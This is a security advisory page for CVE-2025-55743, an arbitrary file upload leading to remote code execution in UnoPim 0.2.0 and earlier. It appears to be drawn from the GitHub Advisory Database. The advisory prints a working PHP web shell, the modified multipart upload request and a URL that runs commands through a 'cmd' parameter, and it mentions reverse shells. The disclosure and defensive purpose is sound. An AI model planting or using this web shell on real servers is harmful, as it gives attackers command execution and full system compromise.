CVE-2025-55743: UnoPim vulnerable to remote code execution through Arbitrary File upload
Summary: Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create Details The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content.
Published Aug 21, 2025 · Updated May 28, 2026
Affected packages
unopim/unopim
- Ecosystem
- Composer (PHP)
- Affected
- <= 0.2.0
- Fixed in
- 0.2.1
- Check
composer show unopim/unopim
Advisory details
From the GitHub Advisory Database (CC BY 4.0).
Summary:
Affected Functionality: Image upload at User creation Endpoint: /admin/settings/users/create
Details
The image upload at the user creation feature performs only client side file type validation. A user can capture the request by uploading an image, capture the request through a Proxy like Burp suite. Make changes to the file extension and content. The .php file when accessed through the link runs the code we provided inside the file.
Modified part of the multipart request body:
Content-Disposition: form-data; name="image[]"; filename="poc.php"
Content-Type: application/x-php
<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>PoC
- Upload an image file as profile picture during user creation , now capture the request and modify.
File content: ``<?php if(isset($_REQUEST['cmd'])){ $cmd = ($_REQUEST['cmd']); system($cmd); die; }?>`` File name: poc.php Content-Type can be any, doesn't matter.
- Access the uploaded file e.g. http://localhost:8000/storage/admins/21/poc.php?cmd=ls
// pass the command to run as parameter value for cmd, example running ls command on the system
Likewise a reverse shell code ( reverse shell of other languages ) can be executed to create a connection to attacker controlled system.
Impact
Every user in the dashboard is allowed to change their profile picture, thus allowing any of these users to execute malicious actions at the Server level. Usually a server might host multiple applications, allowing execution of system commands allows complete control of the system. The impact of an RCE vulnerability can be full system compromise, access to database and filesystem, access other sensitive devices on the network. Please see the POC video: https://drive.proton.me/urls/PH1ESMKHMW#4Vxb2KNu3tmn
Recommendation:
Extension Validation: Whitelist allowed extensions. ( use endswith() check rather than contains() as an attacker can bypass such a restriction with filename: poc.jpg.php
Credited to all3njk.
References
How this page is made: the data panel comes from the GitHub Advisory Database, CISA’s KEV catalog, the NVD and FIRST EPSS, and updates twice a day. No analysis has been written for this entry yet. Methodology
More Composer (PHP) vulnerabilities
All Composer (PHP) entriesCVE-2025-55741
UnoPim has Broken Access Control
high8.1Aug 22, 2025CVE-2025-55745
UnoPim has CSV Injection on Quick Export feature
low2.5Aug 22, 2025CVE-2025-55742
UnoPim has Stored Cross-site Scripting vulnerability in user creation functionality
medium6.8Aug 21, 2025CVE-2025-55744
UnoPim vulnerable to CSRF on Product edit feature and creation of other types
medium6.9Aug 21, 2025CVE-2024-52305
UnoPim Stored XSS : Cookie hijacking through Create User function
medium7.3Nov 13, 2024CVE-2024-50637
UnoPim Cross-site Scripting vulnerability
medium6.1Nov 6, 2024
